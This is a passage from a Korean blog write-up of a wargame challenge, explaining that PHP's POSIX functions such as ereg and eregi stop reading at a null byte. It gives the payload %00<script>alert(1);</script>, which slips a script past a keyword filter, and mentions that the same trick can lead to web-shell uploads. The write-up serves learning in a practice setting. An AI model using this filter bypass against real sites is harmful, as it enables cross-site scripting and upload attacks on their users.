
하지만 <script> 나 alert는 필터링 되어 있어 입력하기가 쉽지 않다.

이를 우회하기 위해 어떤 방법을 써야할까?

php에서는 ereg, eregi,split  등과 같은 c언어에 기반을 둔 posix함수들이 사용되는데 이러한 함수들은 %00 즉 NULL이 오면 뒤에는 인식을 하지 않아 우회가 가능하다.

이를 이용해 웹쉘을 올리거나 하는 파일업로드 공격으로 이어지기도 한다. 즉 출제의도는 이러한 함수들을 우회할 수 있는지 묻는 것이다.

따라서 다음과 같은 쿼리를 url의 파라미터로 직접  보내면 문제가 해결된다.

%00<script>alert(1);</script>

Posix관련 함수 취약점에 블로그 : http://hackability.kr/entry/PHP-%EB%AC%B8%EC%9E%90%EC%97%B4-%ED%95%84%ED%84%B0%EB%A7%81-%ED%95%A8%EC%88%98ereg-eregi-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%9A%B0%ED%9A%8C

'Wargame' 카테고리의 다른 글

[pwnable.kr]unexploitable  (0) 2014.12.02
[pwnable.kr] tiny  (0) 2014.11.15
codegate 2014 4stone  (0) 2014.10.17
bashshock~~!!  (0) 2014.10.13
[pwnable.kr]brain_fuck  (0) 2014.09.27
Posted by flack3r
|